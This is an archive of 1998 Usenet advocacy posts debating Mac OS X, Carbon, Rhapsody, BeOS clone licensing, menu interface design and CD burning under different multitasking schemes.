> > And an entirely new set of APIs (Carbon).
>
> No, its not an entirely new set of APIs. Carbon replaces at a maximum
> about 25% of the APIs used in the old Mac system. That means that more
> than 75% of them are the same. In the case of many applications, only
> 10% or less of the code has to be changed in order to support the new
> APIs
True. But since Rhapsody doesn't support Mac OS APIs directly on the Mach
kernel and Mac OS X _will_ support Carbon APIs directly on the kernel,
then it is a new set.
> >
> > And a new driver architecture.
>
>
> Don't know for sure, but I suspect so.
>
> George Graves
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 31 Jul 1998 10:38:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3107981038520001@wil31.dol.net>
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108>
In article <B1E65D97-2B407@206.165.43.108>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >Should be. In a perfect world. In a real world, it needs to be tested.
>
>
>
> Which is what we've ALL been saying: it is the TESTING that is the issue.
> And you CAN throw more bodies at testing and see the reduction in time
> scale linearly.
Only if you have unlimited resources.
Apple can't afford another quarter in the red any time soon. Spending
extra money on testing means that something else slips. Which projects
would you like to see slip?
The G4 Macs?
El Capitan Macs?
The Consumer Portable?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
####################################################################
Date: Fri, 31 Jul 1998 11:00:48 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: What Be SHould have Done!
Message-ID: <joe.ragosta-3107981100490001@wil31.dol.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net>
In article <27593-35C1CA70-10@newsd-124.bryant.webtv.net>,
RasAllGhul@webtv.net (Joshua Moore) wrote:
> Steve=A0Sullivan wrote:
>
> >It would of been so cool if right after the clones
> >were killed Be got together with some of the
> >clone makers to put out Be Boxes. Like Maybe
> >MOtorola and Gateway, one for ppc and one
> >for intel?
>
> Be did sign licenses with Motorola, PowerComputing, and Umax to replace
> MacOS with BeOS. The only problem seems to be that the cloners were
> making their bread and butter selling the MacOS and were counting on
> that revenue during the transition to Be. When Apple pulled their
> licenses they were left without money, and without a hardware design (by
> then Be had shut down BeBox production and didn't have any modern
> hardware designs).
> Here are the relevant URL's from when the licenses were signed:
>
> http://www.macworld.com/daily/daily.1063.html
> http://www.macworld.com/daily/daily.1058.html
> http://www.macworld.com/daily/daily.1055.html
>
> and where I found them:
>
> http://www.be.com/aboutbe/news/index.html
I guess that sort of shoots the argument that the cloners were just
working to increase MacOS' market share.
AND the argument that Apple should be supporting Be because they were just
trying to help sell more Macs.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 31 Jul 1998 10:55:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-3107981055570001@wil31.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <6pblj8$q9a$1@bunyip.cc.uq.edu.au> <35B9882B.E1AA3A0F@nstar.net>
In article <35B9882B.E1AA3A0F@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Christopher Smith wrote:
>
> > NT has had a PPC port since at *least* version 3.51.
>
> Yes, written under source code license by Motorola. As I said, Microsoft
> was never part of Joe's fictitious "bargain".
You changed the story.
BTW, MS was involved, anyway. The reason NT was not continued for PPC was
that MS demanded several hundred million dollars.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 31 Jul 1998 10:49:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-3107981049230001@wil31.dol.net>
References: <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com>
In article <35c4e136.45677265@news.mindspring.com>, rkuo@seas.upenn.edu wrote:
> This is an example of a memory access violation, which is an
> extremely common programming error. The analogy you made is not
> appropriate.
Why is it inappropriate?
A programmer who made that error would find it the first time he tested
the program. He'd fix it, and it would be over.
The ability of a Windows user to trash his Windows folder is wide open in
millions and millions of computers on desks all over the world.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 18:01:39 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pt0q2$1nn$1@nnrp1.dejanews.com>
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108> <01bdbc80$4e539c20$f9b4dccf@samsara> <6prpfb$g69$1@nnrp1.dejanews.com> <35c1d8c1.0@news.depaul.edu>
In article <35c1d8c1.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > Fixing kernel and IOkit code would suck but any bugs found elsewhere would
> > still be bugs that should be fixed for the G3 Macs anyway.
>
> The bugs might not be *in* the G3 Macs.
Yes the would. Any machine specific dependancies outside of the
kernel and drivers is a bug. Maybe these bugs don't manifest
themselves (yet) but they are still bugs.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 10:20:44 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3107981020440001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2807981015140001@news> <Pine.SOL.3.96.980728134225.28975A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2907980939480001@news> <Pine.SOL.3.96.980730144109.22326C-100000@ux5.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980730144109.22326C-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Wed, 29 Jul 1998, Andy Bates wrote:
>
> > > If it's there in Mac OS 8.5 and it works well, that great.
> >
> > It does. It is.
> >
> > > We do not have it yet.
> >
> > Speak for yourself.
>
> I speak for myself and the _vast_ majority of Mac users everywhere.
>
> Mac OS 8.5 has not been released. If you have it and you aren't a
> registered developer, then you have it illegally.
I never said whether or not I have it. And yes, many people other than
registered developers have legal copies of Mac OS 8.5. I will leave it up
to you to figure out who those people might be.
> If you are commenting on
> it through personal experience, either you or a friend of yours is
> breaking the NDA.
I am commenting on Mac OS 8.5 through what I have read on numerous sites on
the internet. If I had shared some information that was not publicly
available, then I might be breaking the NDA. But I haven't, and I'm not.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 10:30:58 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3107981030580001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com>
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In article <6pqqjc$jr6$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> "Earl Malmrose" <earl.malmrose@nospam.sierra.com> wrote:
> >
> > I love my Libretto. Less than $1000, and under 2 lbs. I wish
> > Apple would develop a PowerBook with those features, it would
> > sure help my development.
>
> If I remember correctly, the libreto has a 6" screen. Ostensibly
> a palm type unit. 9" is going to make it a crap laptop.
See, here you go again. I'll note for the record that you AREN'T
complaining about how the UI will scale badly to desktop machines; you are
talking about a machine with a 9" screen being a "crap laptop."
Now, this is a simple question: if this guy says he loves his Libretto, and
the Libretto has a 6" screen, how would giving it a BIGGER screen make it a
WORSE device?
To make an analogy, it's like saying that a Porsche sucks because it's a
"crap race car."
Andy Bates.
From: atmcdo@most.fw.hac.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 18:05:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pt10u$25u$1@nnrp1.dejanews.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net>
Here's a different view.
Nextstep has a horizontal menu with only one item,
the application. This menu is always open. So there
are no buttons on the top level and the only difference
is that next's top menu doesn't go all the way across
the screen.
(* I don't really care about the differences between mac
and next menus in comparison to going nuts using the stupid
scroll bar on windows. *)
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-n21cbhjvZcL6@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <35c0de11.0@news.depaul.edu> <B1E65E2B-2D6C8@206.165.43.108>
MIME-Version: 1.0
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Date: 31 Jul 1998 18:24:05 GMT
Organization: IBM.NET
On Fri, 31 Jul 1998 00:30:16, "Lawson English" <english@primenet.com>
thought aloud:
>
> But EVERY computer that we want MacOS X to support is already being
> supported in Rhapsody/MacOS Server.
>
> EVERY SINGLE ONE OF THEM. They promised sooo explicitly that they can't
> back out of it (with the possible exception of a few PowerBooks that WILL
> be supported by MacOS X anyway since they are G3).
Where can one find the list of these supported systems?
Brgds,
--
taiQ
[this space is intentionally blank]
From: geh@safe.com (Graeme Hiebert)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <geh-3107981123110001@odo.safe.internal>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net> <6psofk$eb6$1@news.spacelab.net> <35C1F3A8.2B36FFA2@exu.ericsson.se>
Date: Fri, 31 Jul 1998 18:23:11 GMT
NNTP-Posting-Date: Fri, 31 Jul 1998 11:23:11 PDT
Organization: @Home Network Canada
In article <35C1F3A8.2B36FFA2@exu.ericsson.se>, Michael.Peck@Ericsson.com wrote:
> Charles W. Swiger wrote:
>
> > That's true as far as it goes. But that's *not* the original point, which
> > was the comparison of a 386 to a Mac IIsi, quoted above by ">>>>".
> >
> > If you upgrade the processor, you don't have a 386.
>
> If you put a Radius Rocket into a IIsi, do you still have a IIsi? Maybe,
> maybe not. Either way, it won't run OS X.
>
> MJP
And any upgrade to the 386 short of replacing the motherboard and
processor -- the equivalent of putting a whole new computer into an old
case -- will not run NT 5.0, which will be much more comparable to MacOS X
than will be Win95 (which, by the way, is no longer a current Microsoft
product.)
Let's not compare oranges to watermelons.
I'm as upset as the next guy about no official support for (even upgraded)
pre-G3 PowerMacs in MacOS X. But I know that my G3-upgraded PM 7600 will
make a fine internet and graphics workstation for my wife. (When/if
SheepShaver for Linux comes out, it'll even make a good combination of
Linux server for me and workstation for her.) Besides, there's over a
year of public pressure between now and MacOS X's release. (BTW, has
there been any official word on pre-G3 support and MacOS X Server, a.k.a.
Rhapsody?)
-g
--
I'm not trying to say that marriage is a prison. Cause it's not, you
know in prison you get regular sex.
-John Wing, Jr.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 31 Jul 1998 18:30:40 GMT
Organization: University of Maryland, College Park
Message-ID: <6pt2gg$m29$1@hecate.umd.edu>
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108> <joe.ragosta-3107981038520001@wil31.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: <english@primenet.com> wrote:
: > Joe Ragosta <joe.ragosta@dol.net> said:
: >
: > >Should be. In a perfect world. In a real world, it needs to be tested.
: >
: > Which is what we've ALL been saying: it is the TESTING that is the issue.
: > And you CAN throw more bodies at testing and see the reduction in time
: > scale linearly.
: Only if you have unlimited resources.
: Apple can't afford another quarter in the red any time soon. Spending
: extra money on testing means that something else slips. Which projects
: would you like to see slip?
: The G4 Macs?
: El Capitan Macs?
What is the El Capitan Mac?
: The Consumer Portable?
: --
: Regards,
: Joe Ragosta
: http://www.dol.net/~Ragosta/complmac.htm
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 10:56:14 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3107981056140001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc <andyba-ya02408000R2207981149400001@news> <6p6qnj$fs21@Talisker.taide.net> <andyba-ya02408000R2307981327300001@news> <6pajhr$nj6$1@news.spacelab.net> <andyba-ya02408000R2707981255140001@news> <SCOTT.98Jul28084322@slave.doubleu.com> <andyba-ya02408000R3007981322040001@news> <SCOTT.98Jul30210152@slave.doubleu.com>
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In article <SCOTT.98Jul30210152@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <andyba-ya02408000R3007981322040001@news>,
> andyba@corp.webtv.net (Andy Bates) writes:
> In article <SCOTT.98Jul28084322@slave.doubleu.com>,
> scott@nospam.doubleu.com (Scott Hess) wrote:
> > It wasn't in a filesystem, therefor it wasn't a file.
>
> See, this is where we differ. I'm talking about the conceptual idea
> of a "file" as the user understands it; you're talking about the
> literal "it's only a file if it's in a filesystem" idea of a file.
> For a user interface, the first one is important, not the second
> one.
>
> Then what difference does it make if we call it "document", instead?
It really doesn't make much difference, except "File" takes up less room on
a menu bar.
> But to the users, a document and a file are the same thing. That's
> my point. If you have a letter in memory, or on the hard disk,
> printing each one out will result in the exact same printed result.
> Likewise, both look the exact same when loaded into memory.
> Therefore, conceptually, they are both the same thing. They are
> both files, in the most general sense of the word.
>
> The problem is that you've taken the word "file" and redefined it to
> have the usual meaning of "document".
By the literal, dictionary definition of "file," it means the same thing.
The only problem comes when you use the filesystem definition of "file."
This definition does not matter to the user.
> While a good argument can be
> made that the general user confuses the terms, that doesn't mean such
> confusion should be a _goal_.
But it's not "confusion" to the user, since the user doesn't care (or need
to care) about the difference between a file in memory and a file on the
disk!
> Importantly, if you want to subvert the
> word "file" to mean "document", then what should we literal people say
> when we _mean_ "file"?
It depends on the context; if you're talking to a bunch of programmers,
they'll know what you're talking about. It seems that you are the one who
wants to subvert the word "file," since you are modify the dictionary
definition (a collection of data) and making it more specific (a collection
of data located within a filesystem).
> Specifically, files manipulated by the Finder,
> Explorer, or Workspace Manager are files, not documents (regardless of
> whether they're files _containing_ documents, you are manipulating
> them as files, not documents. They don't have the richness of
> documents).
And again, the distinction doesn't (and shouldn't) matter to the user.
> I think a valid working definition of "file" would be "a serialized
> form of a document". In less technobabble terms, "a file is a form of
> a document which can be transported as a unit, and read in elsewhere
> to recreate the original document." Just because people sometimes use
> the terms interchangeably doesn't mean that they don't know the
> difference,
But to the user, "File" works just fine, and is technically accurate. Which
was my original point.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 11:08:11 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3107981108110001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <35BF4E0B.20BC88D3@ericsson.com> <35bf8505.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981710160001@news> <35c18547.0@nnrp1.news.uk.psi.net>
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In article <35c18547.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> >
> >Because having a hierarchical system with a top-level item ascribes the
> >same level of importance to that single item as each of the other submenus.
> >If you have more than one top-level item, they can usually be logically
> ^^^^^^^
> >grouped into one submenu. It is not space-effective (or logical) to have
> >some menus with other submenus, and some individual top-level items.
>
> 'space-effective'
> Oh - lets all restrict ourselves to a gui for a 9" display then shall we?
> 'or logical'
> Rubbish.
I'm sorry. What was I thinking? We all have larger screens, so why not
spread out the menu items? Why do we need menus in the first place? It's
preferable to have 75 separate commands as buttons running along the top
(or side) of the screen! After all, since none of them are inside menus,
they are quicker and easier to access, right?
Andy Bates.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 31 Jul 1998 18:43:21 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pt389$eq2$1@news.spacelab.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007980854080001@wil34.dol.net> <6pput9$vsd$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007981125390001@wil47.dol.net> <6prd75$cp2$1@bunyip.cc.uq.edu.au> <6psqkp$ecf$2@news.spacelab.net> <6pssmm$uqs$1@bunyip.cc.uq.edu.au>
"Christopher Smith" <drsmithy@usa.net> wrote:
[ ... ]
>> Burning CD's is a hard realtime task-- if you underrun the buffer, you get
>> a coaster. By not allowing the system to context switch, this Mac
>> CD-writing program is guaranteeing that it will successfully create a
>> usable CD.
>
> By rendering the rest of the system useless.
While the CD is being burnt, yes.
If a system cannot guarantee realtime delivery (which is true of the MacOS,
M$ Windows, and most unicies short of single-user mode without VM started),
then you either reserve the whole system or you take a risk that the realtime
task will fail.
> My NT system guarantees the CDR program the CPU time it needs as well -
> by setting the priority high enough to pre-empt other programs. The
> result is I might get the occasional pause whilst the CPU time is
> *required* by the CDR program, but by and large my work/play is
> uninterrupted - this is how it *should* be.
The CPU requirements for burning a disk are minimal-- it's almost pure I/O.
And that's where the rub is, because NT provides no guarantees about I/O
bandwidth reservations. If you're doing something else, and cause the system
to decide to swap out a bunch of pages, you might well consume enough
bandwidth to abort the CD burn. And that's more likely if you're burning at
higher speeds or your burner has a small buffer.
>> Realtime work is one of the few areas were cooperative multitasking is
>> genuinely superior to normal PMT. For almost all other tasks, PMT is
>> hugely superior to CMT-- but not here. Of course, a PMT system with
>> realtime support and timeslice/bandwidth reservations is better still,
>> but there isn't any consumer-grade OS which offers that capability.
>> (Except maybe QNX, and that has roughly zero penetration in the consumer
>> market.)
>
>I wouldn't call writing CDs a partcularly "hard" realtime task -
Not "hard" as in "difficult"...it's "hard realtime" versus "soft realtime",
as in "you completely lose if the system fails to meet the requirements" (ie,
CD burning) versus "it's bad but can be dealt with" (ie, showing a Quicktime
movie and dropping a frame or two).
> even writing at 6X (pretty much the limits of affordability hardware-wise,
> at least where I live) is a data xfer rate of 900k/s, which even my 2 year
> old mode 4 IDE drives are capable of sustaining.
Until you ask them to do something else, anyway. Without
disconnect/reconnect, and with the strong orientation towards single-threaded
I/O, IDE loses....
> Sure I probalby wouldn't play
>Quake or do anything that was likely to be hitting the disk hard while I was
>writing at that speed - but simple things like email, word provessing and
>the like *should not* be affected by a program that requires little actual
>CPU time.
Again, it's not CPU time that matters when burning a CD-- it's I/O.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 31 Jul 1998 18:54:18 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pt3sq$5sv$1@lwnws01.ne.highway1.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> wrote:
> I don't think that this is the point. Maybe I'm the only one, but I
> think that using the menu mechanism as an accelerator is a mistake for
> the very reason that there are better, other, separate mechanisms
> designed for that. And while you may claim "I'm only *adding*
> functionality", by blurring the lines of distinction you are only
> degrading the whole picture.
Although I see your point, I disagree. I not you had to use the passive
voice in much of your explanations; in other words, who says you must or
should employ another mechanism? Again, I see how you want to break things
up, and don't think that's a bad way of doing things. I also, however, am
far from conviced that it's the best way of doing things.
Having tear off menus, and top level access is useful to some, at the very
least. A mechanism I proposed a long time ago would be to be able to tear
off any menu item, and build your own persistent tear off menu with things in
it, so you can have a custom top level access "menu palette." This is a very
consistent, unobtrusive kind of design. It doesn't yell "hey hey, look at
me, I'm a weird button with an ugly undescribable icon and I take up extra
space and some how stuck on to stuff." It's a very customizable solution,
easily understood and used, yet doesn't distract from your work. It's
simplification. Unless you really need a new mechanism because and old one
doesn't cut it, it may make sense to just allow the old one the enhanced
functionality.
Now, I'm not saying I know for a fact that one philosophy is superior to the
other in fact. I just don't. I have my suspicions, but I may well be wrong
on it. Regardless, you don't know either, and that's why I think you had to
use the passive voice because there is no authority or study that would be
conclusive on this. Right now we're kind of almost discussing philosphy in
terms of UI; sadly, we've probably done more thinking on this than others
should have, but I digress.
As always, YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Kari Beischer" <kari@att.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 15:15:55 -0700
Organization: AT&T, Columbus, Ohio
Message-ID: <6pt4gl$rlf@newshub.netnews.att.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news>
Andy Bates wrote in message ...
>Now, this is a simple question: if this guy says he loves his Libretto, and
>the Libretto has a 6" screen, how would giving it a BIGGER screen make it a
>WORSE device?
I have what my mom calls pianist hands.... long fingers.. medium bone
structure and for a "palm top" a nine inch screen might be too large...
bulky. I surely would not want to lug one around with me to meetings, or
the store....
A smaller palm top, for numbers, lists etc... might be a nice thing, but if
it won't fit comfortably in my purse... I would prefer a small tablet.
Also when you start talking about 9"... (weight & size) ...you are moving
into the laptop arena.
I am sure that with the number of people in this world, any product will
have at least a small market. But from the investors view point... I would
rather see the majority served, with the most flexible product, built with
quality and delivered quick for a good price. I imagine the company that
follows that train of thought will acquire a larger market share. As a
consumer, if a company follows this policy... I imagine that the cost of a
product will not have to include mark-ups covering their prior blunders.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 31 Jul 1998 19:12:53 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pt4vl$5sv$3@lwnws01.ne.highway1.com>
